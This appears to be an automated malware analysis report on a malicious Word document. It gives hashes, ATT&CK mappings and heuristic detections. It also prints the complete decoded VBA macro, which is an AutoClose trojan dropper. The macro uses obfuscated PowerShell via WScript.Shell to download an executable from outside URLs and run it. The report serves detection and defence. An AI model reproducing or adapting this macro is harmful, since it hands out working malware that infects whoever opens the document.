Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a71f44ca166719b8…

MALICIOUS

Office (OOXML)

74.8 KB Created: 2017-05-22 22:37:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2017-10-10
MD5: 2747831d2fda4be53cf99bbc4897c312 SHA-1: 3a17d44f629a00eab8cca47c46a6f13afd4764b5 SHA-256: a71f44ca166719b82c4e1b3759034da045413ed8641c95a0a7fddf35ab8d6010
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that utilize WScript.Shell to execute a PowerShell command. This PowerShell command is obfuscated and attempts to download a second-stage executable from a reconstructed URL and execute it. The AutoClose macro is triggered upon document closure, initiating the malicious chain.

Heuristics 8

  • ClamAV: Doc.Phishing.Trojan-f0f00f1e320f0ff8-10045462-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Phishing.Trojan-f0f00f1e320f0ff8-10045462-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    DLBcofVTDVIzTmNlXsHWp = "powe" + "rshell $PlsH = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$vwcWBeyCsF = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run DLBcofVTDVIzTmNlXsHWp + nIiYwRJddlCayKSKFeNDzO, 0
End Function
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    DLBcofVTDVIzTmNlXsHWp = "powe" + "rshell $PlsH = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$vwcWBeyCsF = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run DLBcofVTDVIzTmNlXsHWp + nIiYwRJddlCayKSKFeNDzO, 0
End Function
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    DLBcofVTDVIzTmNlXsHWp = "powe" + "rshell $PlsH = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$vwcWBeyCsF = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run DLBcofVTDVIzTmNlXsHWp + nIiYwRJddlCayKSKFeNDzO, 0
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
Dim vRkOwyDxdv
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1688 bytes
SHA-256: e59279c37a3d1299425ad311858c3102a75d9dcd706e92bae0ed45b258f3ac93
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
Dim vRkOwyDxdv
Dim rRHERsKThwuJDJqXINQU
Dim PJVjoCGuvWJcuUPrPXaaf
rRHERsKThwuJDJqXINQU = "$zwFN = 'hxrHtxrHtxrHpxrH:xrH/xrH/xrHlxrHoxrHsxrHtxrHgxrHoxrHnxrHexrHfxrHlxrH.xrHtxrHoxrHpxrH/xrH1xrH,xrHhxrHtxrHtxrHpxrH:xrH/xrH/xrHtxrHsxrHixrHvxrHnxrH.xrHcxrHoxrHmxrH.xrHvxrHnxrH/xrHsxrHyxrHsxrHtxrHexrHmxrH/xrHlxrHoxrHgxrHsxrH/xrH.xrH.xrH.xrH/xrH1xrH,xrHhxrHtxrHtxrHpxrH:xrH/xrH/xrHlxrHoxrHnxrHgxrHvxrHaxrHnxrHcxrHexrHrxrHaxrHmxrHixrHcxrHsxrH.xrHcxrHoxrHmxrH.xrHvxrHnxrH/xrHixrHmxrHaxrHgxrHexrH/xrHfxrHlxrHaxrHgxrHsxrH/xrH.xrH.xrH.xrH/xrH1'  -replace 'xrH', '';"
vRkOwyDxdv = "$JiebIEvQT = $zwFN.Split(',');$JmXtLgjKU = $vwcWBeyCsF.next(1, 65536);$oitSt = $env:temp + '' + $JmXtLgjKU + '.exe';foreach($dQisrnXOPk in $JiebIEvQT){try{$PlsH.DownloadFile($dQisrnXOPk.ToString(), $oitSt);Start-Process $oitSt;break;}catch{write-host $_.Exception.Message;}}"
PJVjoCGuvWJcuUPrPXaaf = rRHERsKThwuJDJqXINQU + vRkOwyDxdv
 YPSbUGfoGEzpLjDXKZRHwFqh (PJVjoCGuvWJcuUPrPXaaf)
End Sub
Function YPSbUGfoGEzpLjDXKZRHwFqh(nIiYwRJddlCayKSKFeNDzO)
Dim DLBcofVTDVIzTmNlXsHWp
DLBcofVTDVIzTmNlXsHWp = "powe" + "rshell $PlsH = ne" + "w-ob" + "ject Sys" + "tem.Ne" + "t.Web" + "Client;$vwcWBeyCsF = new-ob" + "ject ra" + "ndom;  "
           CreateObject("WScript.Shell").Run DLBcofVTDVIzTmNlXsHWp + nIiYwRJddlCayKSKFeNDzO, 0
End Function

Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: 26e5267036a4911bdc09dbec4c05441bc1ff9d0b0e1e474cf798d3ba298718a0

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